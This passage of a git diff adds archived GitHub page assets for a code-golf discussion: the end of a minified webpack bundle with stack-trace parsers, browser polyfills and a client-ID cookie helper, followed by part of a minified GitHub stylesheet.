r.reduce(function(n,s){var g=f(s)||u(s)||y(s)||I(s)||O(s);return g&&n.push(g),n},[])}e(v,"parse");var l=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,c=/\((\S*)(?::(\d+))(?::(\d+))\)/;function f(E){var r=l.exec(E);if(!r)return null;var n=r[2]&&r[2].indexOf("native")===0,s=r[2]&&r[2].indexOf("eval")===0,g=c.exec(r[2]);return s&&g!=null&&(r[2]=g[1],r[3]=g[2],r[4]=g[3]),{file:n?null:r[2],methodName:r[1]||a,arguments:n?[r[2]]:[],lineNumber:r[3]?+r[3]:null,column:r[4]?+r[4]:null}}e(f,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function u(E){var r=o.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(u,"parseWinjs");var b=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,d=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function y(E){var r=b.exec(E);if(!r)return null;var n=r[3]&&r[3].indexOf(" > eval")>-1,s=d.exec(r[3]);return n&&s!=null&&(r[3]=s[1],r[4]=s[2],r[5]=null),{file:r[3],methodName:r[1]||a,arguments:r[2]?r[2].split(","):[],lineNumber:r[4]?+r[4]:null,column:r[5]?+r[5]:null}}e(y,"parseGecko");var S=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function O(E){var r=S.exec(E);return r?{file:r[3],methodName:r[1]||a,arguments:[],lineNumber:+r[4],column:r[5]?+r[5]:null}:null}e(O,"parseJSC");var T=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function I(E){var r=T.exec(E);return r?{file:r[2],methodName:r[1]||a,arguments:[],lineNumber:+r[3],column:r[4]?+r[4]:null}:null}e(I,"parseNode")},50232:(w,t,i)=>{"use strict";i.d(t,{nn:()=>Q,Gb:()=>Z});function a(m){const h=new AbortController;return h.abort(m),h.signal}e(a,"abortsignal_abort_abortSignalAbort");function v(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}e(v,"isSupported");function l(){return AbortSignal.abort===a}e(l,"isPolyfilled");function c(){v()||(AbortSignal.abort=a)}e(c,"apply");function f(m){const h=new AbortController;return setTimeout(()=>h.abort(new DOMException("TimeoutError")),m),h.signal}e(f,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}e(o,"abortsignal_timeout_isSupported");function u(){return AbortSignal.timeout===f}e(u,"abortsignal_timeout_isPolyfilled");function b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), 